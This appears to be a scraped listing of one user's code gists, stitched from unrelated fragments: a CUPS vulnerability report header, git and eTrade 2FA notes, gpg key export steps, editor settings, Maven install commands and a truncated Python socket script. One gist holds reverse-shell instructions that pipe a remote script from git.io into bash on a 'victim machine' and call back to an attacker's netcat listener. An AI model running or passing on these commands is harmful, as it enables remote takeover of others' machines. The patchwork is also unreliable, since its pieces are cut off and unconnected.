Srdjan Grubor sgnn7

Original report

Affected Vendor: OpenPrinting
Affected Product: Several components of the CUPS printing system: cups-browsed, libppd, libcupsfilters and cups-filters.
Affected Version: All versions <= 2.0.1 (latest release) and master.
Significant ICS/OT impact? no
Reporter: Simone Margaritelli [[email protected]]
Vendor contacted? yes The vendor has been notified trough Github Advisories and all bugs have been confirmed:

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8

So You Think You Know Git

Dump of all commands from "So You Think You Know Git - FOSDEM 2024":

https://www.youtube.com/watch?v=aolI_Rz0ZqY

The full blog post: https://blog.gitbutler.com/git-tips-and-tricks/

Some Helpful Config Stuff

How to use 1Password and 2FA with eTrade

IMPORTANT!
As of May 17, 2020, `python-vipaccess` stopped working for provisioning new Symantec VIP Access tokens (which was its raison d'être).
As of May 27, 2020, it's working again.
It might stop working again. and we might not be able to get it to work again (see #39)

Note: Your password cannot be more than 26 characters for you to use 2FA in general. eTrade makes you enter your 2FA code appened to your password to login and limits the length of password input to 32 characters, thus further restricting the maximum length of your actual password.

	# Install gpg tools
	https://gpgtools.org

	# Install gpg
	brew install gpg

	# Generating and exporting
	gpg --gen-key
	gpg --armor --export <email> > ~/.backups/gpg_git_public.key
	gpg --armor --export-secret-key <email> > ~/.backups/gpg_git_private.key

	// I'm tired of extensions that automatically:
	// - show welcome pages / walkthroughs
	// - show release notes
	// - send telemetry
	// - recommend things
	//
	// This disables all of that stuff.
	// If you have more config, leave a comment so I can add it!!

	{

	import ctypes
	import ctypes.wintypes
	import argparse
	import socket
	import struct
	import os


	INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value

	wget https://www-us.apache.org/dist/maven/maven-3/3.6.0/binaries/apache-maven-3.6.0-bin.tar.gz
	sudo tar xf apache-maven-*.tar.gz -C /opt
	sudo ln -s /opt/apache-maven-3.6.0 /opt/maven
	sudo nano /etc/profile.d/maven.sh
	# commit these 4 lines
	export JAVA_HOME=/usr/lib/jvm/default-java
	export M2_HOME=/opt/maven
	export MAVEN_HOME=/opt/maven
	export PATH=${M2_HOME}/bin:${PATH}
	sudo chmod +x /etc/profile.d/maven.sh

	#!/usr/bin/env bash
	# run `nc -nvl 80` on attacker machine first
	# run `curl -Ls https://git.io/vXd2N \| bash -s <attacker-ip> 80` on victim machine

	# great commands to run:
	# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
	# open /tmp/monkey.jpg
	# * say hello
	# * open http://lmgtfy.com/?q=how+to+lock+mac
	# * ls

	//
	// Author: Jonathan Blow
	// Version: 1
	// Date: 31 August, 2018
	//
	// This code is released under the MIT license, which you can find at
	//
	// https://opensource.org/licenses/MIT
	//
	//